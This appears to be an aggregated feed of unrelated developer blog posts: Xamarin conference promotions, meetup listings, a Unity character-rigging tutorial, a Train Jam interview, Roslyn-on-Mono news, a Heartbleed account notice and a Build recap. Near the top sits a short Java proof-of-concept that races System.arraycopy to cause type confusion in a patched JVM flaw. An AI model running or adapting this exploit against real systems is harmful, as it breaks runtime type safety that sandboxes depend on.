Monologue

Last year, Xamarin Evolve 2013 hosted over 80 training and conference sessions on a vast array of topics. This year will be even bigger. Join us in October for Xamarin Evolve 2014, with a full extra day to make room for even more amazing sessions. If you didn’t get to attend last years conference or just want to catch up on the great sessions that were presented you can watch online right now. Here are just a few of our favorites from Xamarin Evolve 2013 that you don’t want to miss:

How C# Saved My Marriage, Enhanced My Career, and Made Me an Inch Taller Tweet

with Scott Hanselman

Multiplatformism: Lessons Learned Bringing Bastion to Six New Platforms Tweet

with Andrew Wang

Getting the Most from Xamarin Studio Tweet

with Michael Hutchinson

Push Notifications with PushSharp Tweet

with Jonathan Dick

Buttons are a Hack Tweet

with Josh Clark

If you enjoyed these sessions, we have all the videos from Xamarin Evolve 2013 online. And you definitely don’t want to miss Xamarin Evolve 2014 in October — two full days of training from Xamarin University followed by three days live sessions from Xamarin and Industry experts. Don’t wait, Register for Evolve 2014 today!

Here is a simple PoC exploit for the issue fixed here:

class Union1 { }
class Union2 { }

class arraytoctou {
  static volatile Union1 u1 = new Union1();

  public static void main(String[] args) {
    final Union1[] arr1 = new Union1[1];
    final Union2[] arr2 = new Union2[1];
    new Thread() {
      public void run() {
        for(;;) {
          try {
            System.arraycopy(arr1, 0, arr2, 0, 1);
            if (arr2[0] != null) break;
          } catch (Exception _) { }
        }
      }
    }.start();

    while (arr2[0] == null) {
      arr1[0] = null;
      arr1[0] = u1;
    }

    System.out.println(arr2[0]);
  }
}

Community growth continues to be explosive with new Mobile .NET developer groups starting all over the world. This month, we have already seen the inaugural meeting for a new group in Paris, France, and we are pleased to announced two new groups in Tampa Bay, FL and Madison, WI! So, April isn’t over yet as it packed full meetups happing everywhere on vast topics from MvvmCross, Intro to Xamarin, and Bluetooth LE!

Here are some upcoming Xamarin developer group meetups:

New Group: Tampa Bay Xamarin User Group

• Tampa Bay, FL: Wednesday, April 16th 7:00PM
• First TBXUG Meeting – Intro to Xamarin

Boston Mobile C# Developers Group

• Cambridge, MA: Thursday, April 17th 6:30PM
• Developing for Google Glass – Chris Hardy, Xamarin

.NET BC

• Vancouver, BC: Tuesday, April 22nd 6:00PM
• Cross Platform Mobile Development for the C# Developer with Xamarin – James Montemagno, Xamarin

New Group: Madison Mobile .NET Developers Group

• Madison, WI: Wednesday, April 23rd 5:30PM
• Introduction to Xamarin

Dutch Mobile .NET Developers Group

• Aalsmeer, Netherlands: Thursday, April 24th 6:00PM
• Responsive design and Bluetooth LE

Vancouver .NET Mobile Developers Group

• Vancouver, BC: Thursday, April 24th 6:30PM
• Mobile Development Techniques using C# and MvvMCross

Detroit Mobile .Net Users Group

• Southfield, MI: Monday, April 28th 6:00PM
• Build / Xamarin Recap, Humanitarian Toolbox

Sydney Mobile .Net Developers Group

• Sydney, Australia: Tuesday, April 29th 6:30PM
• Build 2014 and Cross Platform Visual State Management

If you don’t see your city listed above, don’t worry as new events and developer group meetups are being added frequently on the Xamarin Events forum.

If you are interested in starting a developer group in your city we are here to help you get started. We have tips and trick on staring a developer group, a brand new introduction to Xamarin slide deck, and of course our community sponsorship program to get you on your way. We also want to hear from you so please feel free to send us an email or tweet @XamarinHQ so we can help spread the word and continue to grow the Xamarin community.

The team has put together some beautiful getting started documentation for our iOS User Interface Designer.

In particular, check a couple of hot features on it:

• Using Custom Controls with the designer. Shows how you can render your C# code live in the designer.
• Using AutoLayout with the iOS Designer.

We have been working with a few PlayStation 4 C# lovers for the last few months. The first PS4 powered by Mono and MonoGame was TowerFall:

We are very excited about the upcoming Transistor, by the makers of Bastion, coming out on May 20th:

Mono on the PS4 is based on a special branch of Mono that was originally designed to support static compilation for Windows's WinStore applications [1].

[1] Kind of not very useful anymore, since Microsoft just shipped static compilation of .NET at BUILD. Still, there is no wasted effort in Mono land!

This blog post will run you through the steps to import, animate and control your character as a player in Unity. It is designed to be 3D package agnostic, so whether you use Max, Maya, Blender or any of the many supported modelling programs, you should find what you need to turn your character model into a player in a Unity scene. The sample assets will provide all the animations needed for controlling the character, but of course you can add you own. In this example I’ve created a Lola3000 character inspired by Barberella, Soroyama & Metropolis amongst other influences and brought her to life, running through a tricky landscape of floating islands high above a sci-fi cityscape.

Follow the 12 Steps

We’ll begin with steps you can use to prepare and rig your character, before adding BlendShapes, verifying and then importing your rigged file into Unity. We’ll then set up some of the materials and shaders so that you can get your character looking it’s best. Next we will be creating an avatar to match your character rig and set it up for animation using a 3^rd person controller with the Unity sample assets. We’ll load in a custom animation and setup a blendshape layer to further customise the character. Finally we’ll add lights and fx to the environment and camera to finish the look.   1 Preparing your Model Unity is a real-time platform, so prepare your model to look good without breaking the bank polygon wise. Name your materials and textures sensibly and use normal maps for extra detail, there are no polygon limits but the more you use, the less you have to spend on environment, FX and other characters. 5-25,000 can be a good range to aim for, depending on platform – so reduce polygons with the tools in your 3D package where necessary. Place your textures in a folder called textures within your Unity project assets folder and re-path them before you export.   2 Rigging your character This stage will depend on your 3D package, skills and time available. Once your model is prepared in a t-pose you can either create a bone hierarchy from scratch – assigning skin weights – use your 3D package in-built tools to generate and skin to a skeleton, or use a fully automated solution like Mixamo Autorigger. In Maya for example, use Human IK, 3DSMax has Biped/CAT along with the skin modifier and Blender provides Rigify, as a few examples to create your skeleton hierarchy and assist with skinning. See Mecanim> preparing your own character in the documentation for more details.   3 Set up BlendShapes Unity supports BlendShapes (Morph targets) so decide which part of the character requires morphing, and set up in your package appropriately, using BlendShapes in Maya, Morpher in 3DS Max and Shape Keys in Blender for example. This is often used for phoneme shapes when animating a talking face and works by assigning morphed shapes of the same number of vertices (often a duplicate of the original) to a target so that you can blend between versions to obtain different shapes without animating a complex bone hierarchy.   4 Verify and export This stage is important to minimize errors and troubleshooting when you set up your model later. Remove unused meshes and extraneous assets like lights or cameras from your scene, or simply use the export selected if you 3D package allows. Use the FBX file format if you can, to allow for file portability and simplicity – if you have your own animation clips be sure to check the animation check box in the export dialogue. Re-importing your exported model into the 3D package is often a good way to verify your model before bringing it into Unity.   5 Importing your model You can drag your FBX into the Project pane, or if you exported here already your model will be picked up automatically. You can select your model in the project browser and set up the options in the inspector panel. You should probably leave most of these as default, but check the Scale Factor, as scale can vary hugely depending on units used in your 3D package and your export settings. Click apply and drag the model into the Scene. You can create a (1m) cube to make sure the scale is correct and readjust.   6 Setting up your materials in Unity Select your character in the scene and observe the associated material(s) in the inspector, these should have been created in materials folder where your model is exported. Each material has a drop down for shader, choose one appropriately e.g. Bumped Specular, so that you can define a base colour (tint) specular colour and the texture maps for the diffuse (Base RGB), gloss in the alpha channel and a normal map to add surface detail. Reflective materials can also have a cubemap assigned for reflections, which you can render once in the Unity editor or realtime (pro) for dynamic reflections. 7 Creating an avatar Once imported your character model needs to have an avatar applied, this will map your skeleton to an avatar to use with any humanoid animation. Select the character model FBX file in your Project pane. Select the Rig tab and choose Humanoid for ‘Animation Type’ – click configure to create and configure. If your rig is good to go it will all be in green, otherwise assign bones to the correct slots or revisit your bone hierarchy and re-export to closer match the avatar. You can test your skinning in the Muscles tab by dragging the sliders. Click Done when finished. 8 Adding a controller Unity sample assets provide all you need to control your player. From the project window, drag the Third Person Character prefab from the Sample Assets\Characters and vehicles\Third person Controller\prefabs folder into your scene. In your Hierarchy delete the Ethan node underneath Third Person Character. Drag your character node on top of your Third Person Character node which has all scripts,  parameters and the player tag already assigned. From the Cameras\Prefabs folder drag the Free Look camera rig into the scene, add and position a ‘plane’ game object and press Play! 9 Adding your animation If you have imported or acquired animation from the store, you can replace the animations from the character animator. Select your character root node, Open the animator from the Window menu – This opens a pane that manages which state your character is in and therefore which animation to play. Double click Grounded state to open a blend tree for when you character is on the ground. Select the blend tree and over in the inspector click the little circle next to an animation to choose another. Press play to preview then stop and make adjustments as necessary. 10 Adding BlendShapes and tweaking your character Create an animation in your source package which blends between two or more meshes, as outlined in step 3. Re-export your mesh and include animation > morphs in the FBX dialogue. In Unity create a new layer in your animator window set blending to additive and weight: 1, then drag in your clip from the project window, create an empty state and right click > Make transition – and transition to and from the clip. Set a condition for this e.g. forward: greater than 0.5 for to - and forward: Less than 0.5 for from transition in the inspector. 11 Adding environment, lights and settings To immerse yourself in the game you can planes & primitives to create a greybox test environment to play about in, or use levels from the sample assets or asset store and of course import your own environment artwork. Any imported artwork needs to have ‘Generate Colliders’ checked and applied in the inspector, for the imported file in the project view, so that you can walk on the surface etc. Create a ‘directional light’ from the Create button at the top of the hierarchy and adjust the parameters in the inspector. 12 Adding Post FX and polish Unity pro includes a number of full screen Image FX that can help improve the look of your scene. Separate the ‘Game’ view by dragging the tab out to preview. Select the ‘Main Camera’ node under the Free Look Camera Rig. In the inspector click Add Component > Image Effects > Camera > Depth of field – for example – to retain focus on your character, but blurring the background akin to a wide aperture. You can add as many others as your eyes and frame rate can handle so try vignette, bloom, ambient occlusion, so go ahead & play!

Here are some Useful resources to continue with your project:

• User Manual for Unity
• Tutorials in the Learn section
• Unity Asset Store  - for models, scripts and much more
• Mixamo Auto Rigger - rig your character quickly and easily

To follow the video tutorial click Play >

Wherein I spend three days demo'ing the Oculus Rift, hacking on a portable VR rig with a Raspberry Pi, riding RiftCycles, and mobilizing the entire medical emergency and firemen staff on call due to an extremely nuclear chili experience (rumours of my demise were greatly exagerated).

Bruno killing some critters with the Raspberry and the Oculus control module in his pockets

It turns out that the Oculus sucks so little power that the USB batteries we had would turn off because they thought they weren't in use... So instead of using two batteries - one for the Raspi and one for the Oculus - we used one for both, so that the Raspi would ensure that the battery would not turn off.

We are so proud of Mecanim, Unity’s super flexible animation system. But we’re equally in awe of all the amazing work that the Asset Store publishers put in, so that you as a developer can just drag and drop to get your characters moving.

They capture all imaginable movements, from breakdancing, throwing enchantments or swinging a katana to sitting and drinking coffee. We picked a few assets that are really well-rated and popular among their users, but could use a little extra attention. Browse these hidden treasures to find new ways to get your game moving faster and cheaper!

Proportional Studios – Props Animations

This is a must have, if your game has any moving characters, which, let’s face it, it probably has. It has over 470 animations to date and if what you need isn’t in there, the publisher will add it to the asset at no extra costs. Proportional Studios are really a bunch of proper pros – the reviews point out that the support goes out of its way to help you get the most of this package.

Kubold – Movement Animset Pro

A set of high quality motion capture animations, optimized for seamless third person perspective character movement. You need to have a good idea about scripting and mecanim in general, but if you have the basics covered, this is the asset that will help you level up. Have fun with the demo below!

Mister Necturus – Soldier Animation Collection

Get a full model of a soldier with 54 animation clips to get him moving and shooting exactly the way you want. Includes Root motion data used by Mecanim.

Gear Worx Productions – FPS Character Animation Pack

This is a really comprehensive package of movements that covers all possible shooting/running/climbing combos. It has a sample character, which shows initial setup for weapon placement and joint hierarchy. Plus it’s super neatly organized. Altogether, it will save you a ridiculous amount of time that you can instead spend making your shooter into something special.

McAnimation – Survival Shooter Animation Pack

Surviving is hard. Making a survival shooter game even harder. So why don’t you make your game dev work and your life in general easier by getting a great package of animations along with a handy “Getting Started” doc and an overview of frame-ranges?

     On March the 13th, 60 developers embarked on a 52 hour train ride from Chicago to San Francisco with the goal of making awesome games. I chatted with Train Jam organiser, Adriel Wallick, about her experiences in planning and conceiving the game jam, how it all panned out and how it compared to the infamous GAME_JAM in LA just a couple of weeks after.

    If you are interested in seeing the games produced during the jam, please head over to the Train Jam website and check them out!

So how did you get into games and what was your inspiration for the Train Jam?

I guess long story short, I am Adriel. I used to not make games, When I first started working I worked on satellites. I worked on the next generation of weather satellites that will be going up to the sky for the United States and then once I decided that wasn’t nearly cool enough for me, I wanted to switch over to games. So I started learning how to make games on the side and started going to developer meetups in Boston.

I finally got hired into my first video game job at Firehose games, where I did a lot of programming on Rock Band Blitz. After that, I moved over to a smaller commission company that did a lot of non original IP. Then I went full indie to start working on my own stuff.

Not long after, I also realized I didn’t want to live anywhere anymore. So I packed up all my stuff into a storage unit and then I got on a train that I took across the United States which is sort of where the idea of Train Jam came from. I did that by myself and once I started telling people about it, everybody was like “Oh you should get a bunch of people onto a train and make a train jam” So I did.

So the origin of the Train Jam is based on the decision to leave the house and live on the road?

Yeah, I like to say that I hopped on a train out west like they did back in the day, when you got in a wagon to go out west and leave everything behind.

So a bit like The Oregon Trail?

A little bit, but a lot less dysentery than The Oregon Trail (laughing).

In terms of Unity, are you a Unity Developer? Do you use other tools?

I pretty much exclusively use Unity. It was the first tool that I really started playing around with when I wanted to start making games, way back in 2010, maybe 2011. So I downloaded it and essentially thought: “Ok what can I make that is 3d and will teach me how to use Unity”. I decided for some reason that Tetris would be a really good game to turn into 3d. I sat down for like a week and made a really awful, awful version of 3d Tetris. I had learned the basics of it and since then, I pretty much use Unity for all my projects.

Cool, so the Train Jam was born through your traveling and “Nomadic” lifestyle, but how did it grow? as I understand it this is your first ever game jam that you organized?

Yes, it’s the first one I ever put together and it was such a weird concept for a jam that I wasn’t really sure how people would react to it. So I looked into how Amtrak group reservations work and made a group reservation for 30 people. Later I got my friend Ryan Burrel, who does the megabooth website, to help me make a better website than the one I originally made. I hooked it up to Eventbrite and put the idea out there and all of a sudden, not even a month later, all the tickets were sold out.

So I guess it was an idea that people actually liked! That is when I looked at getting twice as many tickets. I also wanted to get a lunch together so people would be able to meet each other beforehand since nobody knew each other. I had buttons with little meters of fun and all sorts of sponsorships. Then it sort of snowballed from there.

It’s interesting to see how someone who has no experience in setting up a jam has managed to create such a huge thing.

I was really surprised by that! I think it’s because it was such a weird idea. I have a little bit of experience organizing things because I used to help Kelly do the megabooth. One of the big things I took away from watching other people organize is that you just keep asking people for things and every now and then someone will say yes (laughter). I knew a lot of people supported jams in the form of licenses which is why I reached out to Unity and I also reached out to yoyo games for game maker ones. Once I realised I had actually sort of put myself financially in the hole, I thought hey, maybe people want to sponsor this, So I just asked and a lot of people said no and then a few people said yes.

So you are planning on doing another Train Jam next year, what are your thoughts going into that, what would you advise your pre-Train Jam 2014 self?

When I first started planning I didn’t think about the fact that I needed everybody’s legal names, not just nicknames. Also being more aware of random fees on Eventbrite and Paypal, would probably be a good idea.

So you had problems with unexpected fees? How did that pan out?

Yeah, I didn’t really think about the fact that a percentage of the ticket fees would be going to both PayPal and Eventbrite. On something of this magnitude, this ended up being a significant amount of money. It was a bummer mostly because I wanted to be able to afford fun things for the participants, such as snacks and whatnot.

Luckily, through securing some sponsorship, I was not only able to buy a pre-jam lunch, snacks, coffee, and soda, but also refund myself the money that went towards all of those fees. Basically I was able to not be in the hole by running Train Jam. One thing that I want to do next year is to make it bigger. Maybe get a whole coach class car instead of half a coach class car. Also secure a bit more sponsorship because I really want to make it a lot more accessible for other developers. Especially for younger developers, people who are just starting out or people who are struggling financially.

One of the only things that had a point of contention with Amtrak was that we took that entire thing over and other passengers got annoyed. So what I really want to do is somehow convince Amtrak to slap another observation car onto the train. In my head it is just as easy as putting on another car, but I am not a train conductor.

So what about the games that were made and the stuff that people were doing, what were your highlights from that would you say?

There was a lot of really cool ones, I actually still don’t have all of them. If you go to the Train Jam website, I think there are like 17 games up there. But the really nice thing is the wide variety of games that ended up being produced. I mean we had things from mobile, cooperative games to competitive games, to a procedurally generated game based on the audio and visual input from the train, to platformers, to one game that Rami made, where he had to strap an iPad to his back and attack it, which he could only playtest at the station stops, because he had to get out of the train to test it. So we had a whole wide variety of games which I thought was really really cool. Its hard to pick one highlight because they are all so different.

So I guess the advice is to go and play them!

Pretty much, every one that I have up there you can either play online or download. So you should be able to play them, there are some that are PC only and some that are Mac only. The majority of them were made in Unity.

It’s interesting the way that has occurred. I think, at least from my perspective, even before I was working at Unity and was going to game jams and using Unity as a developer. I think just the rapid workflow lends itself to not having much time!

Yeah, thats the thing. I am familiar enough with it now that I can make something very very quickly in it. So I think that especially with a Jam where you have not as much time to fiddle with new technology, if you already know Unity, then you are going to use Unity. That’s just how it works.

It was amazing with the IndieCade Oculus VR Jam where a crazy high percentage of the projects were built in Unity.

We actually had an Oculus game on Train Jam that somebody developed, which I thought was insane and I really thought would make people throw up, but nobody did. There was a really nice little moment when one of the Amtrak employees came by and asked us how the game was going. So we sat her down and plopped it on her head and opened up the demo where you go to Tuscany. For the whole rest of the trip she kept talking about that one time she went to Tuscany.

I guess the next question is not quite so fun because its about what happened post GDC with a different game jam, known as the Game_Jam

Yeah, that was so weird. I had heard about if before and I knew a few my friends were doing it, because I know Zoe and Robin were both leading up teams. Robin asked me if wanted to be a part of his team and I thought OK, I have nothing else to do between GDC and PAX, why not go down to LA and do this. It was supposed to be a Jam that was filmed and released on YouTube in a semi-reality show style. The description was more Top Chef style, it won’t be “Real Housewives of Game Development”. Then 3 days before we were set to go there, they finally sent the contracts for us to look at. The contracts were just… there was just awful stuff in the contracts. It was basically a bunch of stuff about how we wouldn’t be able to represent ourselves on YouTube videos or they could misrepresent us for dramatic effect. It was all very “boilerplate” but it was bad boilerplate. A lot of us as indie developers are the sole face of our companies, so if we can’t go on YouTube, like a Lets Play or Giant Bomb or something like that, that is detrimental to our entire career.

So we started fighting back on that and at that point it started the whole thing on a weird note, because we were very wary of the intense corporate-ness of how it started to turn out. So they started re-wording the contract and we were assured via email that nothing weird would be happening and they just want to show what game development is like.

When we got there, the corporate sponsorship was over the top, the environment was weird, it was very much a game show/reality show/contest feeling. Which in itself was enough to make me think: “Oh god this is awful what am I doing here”. Then they started playing the sexist angle up, asking my team if they had an advantage because of a pretty lady on the team and asking the male teams if we had a disadvantage because we were women. That was the point when we all just walked off and left and shut the entire production down. Which was sort of a nice feeling after all that but it was this weird dichotomy between the game jam that I had run, that was basically everything I pictured game jams to be and the spirit that I feel Game Jams entail. Then two weeks later I’m in this environment, where it’s just everything wrong with how people view game development. It was just such an awful difference between where I was two weeks ago and where I was then and it was really not good.

It seems like a real shame in a way, because I think telling the story of how game jams work is important. There have been a lot of people working on projects to do that, at least through the medium of film.

    That was one of the really cool things about Train Jam, and I didn’t think about this before Train Jam happened, but we did a game jam entirely in the public space. We were in a train and we probably didn’t take up half of the people who were on it. So there were all these people who didn’t even really have an interest in games who were all of a sudden exposed to how games are made. I had a lot of people asking me and the participants what they were doing and then engaging with them, figuring out how games are made and appreciating the insight into something they don’t understand. It was really nice to be able to show people that, people who wouldn’t have sought out that information before. It was great to show them this nice indie, collaborative spirit that we all have going on. Then to go to this other jam where they basically wanted to play up a stereotypical view of how we all are was such a shame. There are people out there who are interested in how games are actually made without all this hullabaloo around it.

Yeah I think things like Indie Game the movie and coming up the Super Game Jam

The producers of GAME_JAM were saying that they wanted to create something that showed people how to do game jams, so I said why don’t you check out Super Game Jam and emulate what they are doing. That is what game development is, not this crap hole.

Since then, a few of us have been talking about starting up a different jam, mostly Zoe has been heading it up, where we just get some Go-Pros, rent out an AirBnB and film it that way, then release it to the world. Which I think would be really nice. Making a game is dramatic enough as it is, you don’t need this weird extra crap that they were trying to push onto us that is fabricated. I mean there is already going to be enough personal conflicts and drama of putting yourself into something. So I think it would still make for pretty entertaining media to just film what a game jam actually is.

So it would be more of a documentary than a game show.

Even on Train Jam, which was nice and collaborative, there were still inter-team conflicts, you know, dealing with different viewpoints and different styles of things and people being exhausted and tired and edgy. There were a few tiffs here and there, so there is still entertainment value to be had if they are looking for drama.

It’s not the best environment to be pushing extra elements in, because ultimately everyone is already pretty exhausted and on the edge already.

For Train Jam we had a camera crew there, we had the Polygon crew there and a person from the Game Loading documentary and I am sure they caught lots of drama and they didn’t have to really incite anything.

It was definitely a shame the way the GAME_JAM panned out, but it was a really nice thing to see the community come together. It was sort of indicative of I think the change that is happening, especially for females in the industry, where Zoe and me were uncomfortable and said we were leaving and people supported us 100% and left with us. Which I thought was really nice and then on Monday when we all pushed our stories of what had happened live, I got nothing but support from the entire internets. Which was amazing, I was really nervous about it, because it’s the first time I’ve really made myself vulnerable on the internet and I got all positive things of saying “Thankyou, thankyou for what you did”. All positive except that everyone hates my website apparently, the pink background is offensive to everybody’s eyes (laughter)

Ok so bearing in mind everything you have learnt from the two jams, what is the one key takeaway that you would want to tell somebody else who is organising their first game jam?

I would definitely say, if you planning on making a jam, try and be aware of making an environment where everyone feels comfortable to be creative. That is one of the biggest points of a game jam, that you are doing this in a short amount of time to try something new. Get a creative thing going with people you may or may not have worked with or even met before. If you are in an environment that you are no longer comfortable, it is hard to also be creative.

I’d like to thank Adriel Wallick for taking the time out of her schedule to talk about the two jams and also to Mark Backler for allowing me to use his pictures from the Train Jam.

We are very excited to announce the opening of registration for Xamarin Evolve 2014, our worldwide developer conference! Join us and fellow developers from October 6-10 in Atlanta, Georgia for the largest cross-platform mobile development event of the year!

Even Bigger!

This year, we’re doubling capacity and adding an extra day of conference sessions to make room for more great content covering mobile development with C#, Visual Studio, and Xamarin Test Cloud. Evolve sessions will cover a range of topics, including game-changing Xamarin product announcements by Nat and Miguel, best practices in mobile user experience design, advanced cross-platform techniques, memory management, real world app case studies from leading companies, secure data integration, lightning talks and so much more.

World-Class Training

Attend two days of training from Xamarin University spanning all topics from mobile development fundamentals to advanced areas such as security and code-sharing strategies.

Learn from Mobile Experts

Over the course of three days you will have the chance to attend an immense amount of live sessions covering all areas of mobile development by industry leaders and experts. The entire Xamarin engineering team will be on-hand for one-on-one mobile coaching to answer questions, debug code, and provide advance.

Xamarin Evolve Welcomes Top Sponsor, Microsoft

We are also delighted to announce today that Microsoft will be joining Evolve 2014 again as our sole Platinum Sponsor. In recent months, Xamarin and Microsoft have partnered globally to help developers build great apps with C#, Visual Studio, and Portable Class Libraries, and this past week, Xamarin joined with Microsoft to launch the .NET Foundation. Together, Xamarin and Microsoft bring C# to 2.6 billion devices, and together we will make Xamarin Evolve 2014 an event you won’t forget.

Registration Now Open

Tickets for Xamarin Evolve 2014 our second worldwide developer conference, are officially available for purchase today.

Google recently released an update to the Android support library bringing in an exciting new standard implementation of a pattern that they have been progressively introducing through applications such as GMail or Google Now.

This pattern, called swipe-to-refresh, uses an upward pull user feedback to inform the app that a data refresh is requested. This complete another common pattern, infinite scrolling, that instead use a downward movement to load more data.

We have updated our component to expose the new SwipeRefreshLayout class that implements the pattern. To make use of it, simply wrap in your existing Xamarin.Android app layout.

<android.support.v4.widget.SwipeRefreshLayout
    android:id="@+id/refresher"
    android:layout_width="match_parent"
    android:layout_height="match_parent">
    <FrameLayout
        android:id="@+id/container"
        android:layout_width="match_parent"
        android:layout_height="match_parent" />
</android.support.v4.widget.SwipeRefreshLayout>

Setting up the SwipeRefreshLayout instance is pretty easy from code. You simply have to define a color scheme and a callback that is invoked when an update operation is requested by the user.

refresher = FindViewById<SwipeRefreshLayout> (Resource.Id.refresher);
refresher.SetColorScheme (Resource.Color.xam_dark_blue,
                          Resource.Color.xam_purple,
                          Resource.Color.xam_gray,
                          Resource.Color.xam_green);
refresher.Refresh += async delegate {
	await forum.FetchItems (clear: true);
	refresher.Refreshing = false;
};

The color scheme can be any set of color or the same color. In any case, the first parameter is also used as the initial feedback bar background.

We have also added a dedicated sample that shows how this code can be integrated in a complete scenario, including a complex layout utilizing fragments.

Last week, Microsoft open sourced Roslyn, the .NET Compiler Platform for C# and VB.

Roslyn is an effort to create a new generation of compilers written in managed code. In addition to the standard batch compiler, it contains a compiler API that can be used by all kinds of tools that want to understand and manipulate C# source code.

Roslyn is the foundation that powers the new smarts in Visual Studio and can also be used for static analysis, code refactoring or even to smartly navigate your source code. It is a great foundation that tool developers will be able to build on.

I had the honor of sharing the stage with Anders Hejlsberg when he published the source code, and showed both Roslyn working on a Mac with Mono, as well as showing the very same patch that he demoed on stage running on Mono.

Roslyn on Mono

At BUILD, we showed Roslyn running on Mono. If you want to run your own copy of Roslyn today, you need to use both a fresh version of Mono, and apply a handful of patches to Roslyn [2].

The source code as released contains some C# 6.0 features so the patches add a bootstrapping phase, allowing Roslyn to be built with a C# 5.0 compiler from sources. There are also a couple of patches to deal with paths (Windows vs Unix paths) as well as a Unix Makefile to build the result.

Sadly, Roslyn's build script depends on a number of features of MSBuild that neither Mono or MonoDevelop/XamarinStudio support currently [3], but we hope we can address in the future. For now, we will have to maintain a Makefile-based system to use Roslyn.

Our patches no longer apply to the tip of Roslyn master, as Roslyn is under very active development. We will be updating the patches and track Roslyn master on our fork moving forward.

Currently Roslyn generates debug information using a Visual Studio native library. So the /debug switch does not work. We will be providing an alternative implementation that uses Mono's symbol writer.

Adopting Roslyn: Mono SDK

Our goal is to keep track of Roslyn as it is being developed, and when it is officially released, to bundle Roslyn's compilers with Mono [6].

But in addition, this will provide an up-to-date and compliant Visual Basic.NET compiler to Unix platforms.

Our plans currently are to keep both compilers around, and we will implement the various C# 6.0 features into Mono's C# compiler.

There are a couple of reasons for this. Our batch compiler has been fine tuned over the years, and for day-to-day compilation it is currently faster than the Roslyn compiler.

The second one is that our compiler powers our Interactive C# Shell and we are about to launch something very interesting with it. This functionality is not currently available on the open sourced Roslyn stack.

In addition, we plan on distributing the various Roslyn assemblies to Mono users, so they can build their own tools on top of Roslyn out of the box.

Adopting Roslyn: MonoDevelop/Xamarin Studio

Roslyn really shines for use in IDEs.

We have started an effort to adopt Roslyn in MonoDevelop/Xamarin Studio. This means that the underlying NRefactory engine will also adopt Roslyn.

This is going to be a gradual process, and during the migration the goal is to keep using both Mono's C# compiler as a service engine and bit by bit, replace with the Roslyn components.

We are evaluating various areas where Roslyn will have a positive impact. The plan is to start with code completion [4] and later on, support the full spectrum of features that NRefactory provides (from refactoring to code generation).

C# Standard

While not related to Roslyn, I figured it was time to share this.

For the last couple of months, the ECMA C# committee has been working on updating the spec to reflect C# 5. And this time around, the spec benefits from having two independent compiler implementations.

Mono Project and Roslyn

Our goal is to contribute fixes to the Roslyn team to make sure that Roslyn works great on Unix systems, and hopefully to provide bug reports and bug fixes as time goes by.

We are very excited about the release of Roslyn, it is an amazing piece of technology and one of the most sophisticated compiler designs available. A great place to learn great C# idioms and best practices [5], and a great foundation for great tooling for C# and VB.

Thanks to everyone at Microsoft that made this possible, and thanks to everyone on the Roslyn team for starting, contributing and delivering such an ambitious project.

Notes

[1] Roslyn uses a few tracing APIs that were not available on Mono, so you must use a newer version of Mono to build Roslyn.

[2] We even include the patch to add french quotes that Anders demoed. Make sure to skip that patch if you don't want it :-)

[3] From Michael Hutchinson:

• There are references of the form: <Reference Include="Microsoft.Build, Version=$(VisualStudioReferenceAssemblyVersion), Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
  This is a problem because our project system tries to load project references verbatim from the project file, instead of evaluating them from the MSBuild engine. This would be fixed by one of the MSBuild integration improvements I've proposed.
• There's an InvalidProjectFileException error from the xbuild engine when loading one of the targets files that's imported by several of the code analysis projects, VSL.Settings.targets. I'm pretty sure this is because it uses MSBuild property functions, an MSBuild 4.0 feature that xbuild does not support.
• They use the AllowNonModulatedReference metadata on some references and it's completely undocumented, so I have no idea what it does and what problems might be caused by not handling it in xbuild.
• One project can't be opened because it's a VS Extension project. I've added the GUID and name to our list of known project types so we show a more useful error message.
• A few of the projects depend on Microsoft.Build.dll, and Mono does not have a working implementation of it yet. They also reference other MSBuild assemblies which I know we have not finished.

[4] Since Roslyn is much better at error recovery and has a much more comprehensive support for code completion than Mono's C# compiler does. It also has much better support for dealing with incremental changes than we do.

[5] Modulo private. They use private everywhere, and that is just plain ugly.

[6] We will find out a way of selecting which compiler to use, either mcs (Mono's C# Compiler) or Roslyn.

You might have read by now that details of the “Heartbleed” OpenSSL vulnerability were published earlier this week. For those that don’t already know, OpenSSL is a popular, general purpose cryptography library in wide use across the internet. Like nearly every company on the internet, we immediately took audit of our systems, and uncovered some systems using a vulnerable version of OpenSSL. We immediately began updating all Xamarin services that were affected, and as of Tuesday afternoon, no Xamarin systems are subject to this vulnerability.

We have also reissued all HTTPS certificates for all xamarin.com domains with new encryption keys, and have had the previous versions revoked by our issuer, which was also completed Tuesday evening. At this point, we believe that it is extremely unlikely that any of our systems were compromised before we patched OpenSSL; however, for an additional layer of security, we recommend that you take the following steps to safeguard your Xamarin account — especially if you used the same password for your Xamarin account as on other accounts hosted elsewhere:

1. Sign out of your Xamarin account and then sign back in (you’ll want to do this in the IDE as well)
2. Change your Xamarin account password

At Xamarin we are committed to your security and privacy. We are continuing to track the issue closely and will keep you up to date if anything new is discovered. For more information on this OpenSSL vulnerability visit www.heartbleed.com

It was an exciting week for .NET developers with a slew of announcements at this years Build conference in San Francisco.

The most anticipated Build session of the week hands down was Miguel’s “Go Mobile with C# and Xamarin”, where over 1,500 developers packed the main hall for a chance to see Miguel talk on the transformation of mobile development. The audience loves seeing his live coding session where he used iOS’ CoreImage and Twitter integration to add Sepia filter to an image and tweet it out to the world!

Continuing to wow the crowd, Miguel unveiled our brand new Xamarin T-shirt Store app enabling developers to try out Xamarin to build their first app to order their very own limited edition C# shirt that he was rocking on stage.

A major highlight of the week was when C#’s lead architect, Anders Hejlsberg, open sourced the .NET Compiler Platform, Roslyn, live on stage. This marked a major milestone allowing developers to gain access to a plethora of information that compilers have about the code we write each day. Immediately after Anders open sourced Roslyn, our own Miguel de Icaza hit the stage to showcase the power of an open sourced Roslyn by compiling code with a modified version of Roslyn running on Mono inside of Xamarin Studio on a Mac!

If Roslyn wasn’t enough, Xamarin took part in the official launch of the .NET Foundation. This new foundation will foster open development, collaboration and community engagement on the .NET platform. Xamarin initial contribution consists of six open source .NET Projects including Mailkit, Mimekit, System.Drawing, and more! We are excited to join other community leaders including Laurent Bugnion, Niels Hartvig, Paul Betts, and other to aid in advancing .NET open source projects.

The excitement for Xamarin, C#, and mobile apps continued throughout the week with an always packed Xamarin booth. Thousands of developers got to chat and get a hands on demo of creating beautiful Android and iOS apps in C#.

Build wouldn’t be complete without an epic Xamarin party, and this year was no different. Our friends .NET joined us to co-host a mega party in downtown San Francisco. Thousands of developers packed in to get face time with Nat, Miguel, Joseph, and the rest of the Xamarin crew at a party that is not to be forgotten! We want to thank everyone that was able to stop by the party and booth.

